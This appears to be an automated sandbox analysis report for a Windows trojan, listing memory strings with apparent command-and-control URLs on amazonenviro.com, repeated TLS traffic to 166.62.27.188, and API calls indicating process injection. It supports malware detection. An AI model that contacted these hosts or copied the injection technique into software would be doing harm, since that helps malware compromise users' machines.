Source: UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000858000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/M
Source: UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/U
Source: UAHIzSm2x2.exe, 00000000.00000003.2898002791.0000000000858000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000858000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/d
Source: UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/~ha~
Source: UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com:80/245_Aiymwhpjxsg
Source: UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com:80/245_Aiymwhpjxsg20F
Source: UAHIzSm2x2.exe, 00000000.00000003.2897902282.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com:80/245_Aiymwhpjxsg8
Source: UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com:80/245_AiymwhpjxsgW
Source: UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com:80/245_Aiymwhpjxsgg
Source: UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com:80/245_Aiymwhpjxsgg2
Source: UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com:80/245_AiymwhpjxsggT
Source: UAHIzSm2x2.exe, 00000000.00000003.2897902282.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com:80/245_Aiymwhpjxsggclose
Source: UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com:80/245_Aiymwhpjxsgged
Source: UAHIzSm2x2.exe, 00000000.00000003.3053706651.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2301934670.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2418848234.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2897902282.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2282231341.000000000082D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsM
Source: UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000858000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2282231341.000000000082D000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956388004.0000000000858000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000079E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/
Source: UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Aiymwhpjxsg
Source: UAHIzSm2x2.exe, 00000000.00000003.2301934670.0000000000862000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Aiymwhpjxsg0
Source: UAHIzSm2x2.exe, 00000000.00000003.2282231341.000000000082D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_AiymwhpjxsgJh
Source: UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000081B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2898002791.000000000081B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000809000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_AiymwhpjxsgLocationETagAuthentication-InfoAgeAccept-RangesLast-Modified
Source: UAHIzSm2x2.exe, 00000000.00000003.2301934670.000000000082E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_AiymwhpjxsgWk
Source: UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000079E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_AiymwhpjxsgX
Source: UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000861000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000861000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000853000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000085F000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2897902282.000000000085F000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2418848234.000000000085F000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Aiymwhpjxsgc
Source: UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Aiymwhpjxsgk
Source: UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000861000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000853000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Aiymwhpjxsgx
Source: UAHIzSm2x2.exe, 00000000.00000002.3445632764.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Aiymwhpjxsgy
Source: UAHIzSm2x2.exe, 00000000.00000003.2898002791.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/5
Source: UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/U
Source: UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/W
Source: UAHIzSm2x2.exe, 00000000.00000003.2956388004.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/u
Source: UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000084A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com45_Aiymwhpjxsgb
Source: UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Aiymwhpjxsg
Source: UAHIzSm2x2.exe, 00000000.00000003.2897902282.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Aiymwhpjxsg2
Source: UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_AiymwhpjxsgT
Source: UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Aiymwhpjxsgclose
Source: UAHIzSm2x2.exe, 00000000.00000003.2897902282.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Aiymwhpjxsged
Source: UAHIzSm2x2.exe, 00000000.00000003.2897902282.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Aiymwhpjxsgerse

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50112 version: TLS 1.2

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028ADFE4 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_028ADFE4
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028A7CF8 NtWriteVirtualMemory,	0_2_028A7CF8
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028A8BA8 GetThreadContext,SetThreadContext,NtResumeThread,	0_2_028A8BA8
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028A8BA6 GetThreadContext,SetThreadContext,NtResumeThread,	0_2_028A8BA6
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028ADE24 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_028ADE24
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028ADE78 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_028ADE78
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028ADF00 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_028ADF00

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Code function: 0_2_028AF0A8 InetIsOffline,CoInitialize,CoUninitialize,Sleep,MoveFileA,MoveFileA,CreateProcessAsUserW,ResumeThread,CloseHandle,CloseHandle,ExitProcess,

0_2_028AF0A8

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028920C4		0_2_028920C4
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028BE596		0_2_028BE596

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: String function: 028A8798 appears 54 times
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: String function: 028944D0 appears 33 times
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: String function: 028A881C appears 45 times
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: String function: 028944AC appears 74 times
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: String function: 0289480C appears 931 times
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: String function: 028946A4 appears 244 times

Source: UAHIzSm2x2.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal84.troj.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Code function: 0_2_02897F52 GetDiskFreeSpaceA,

0_2_02897F52

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Code function: 0_2_028A6D48 CoCreateInstance,

0_2_028A6D48

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

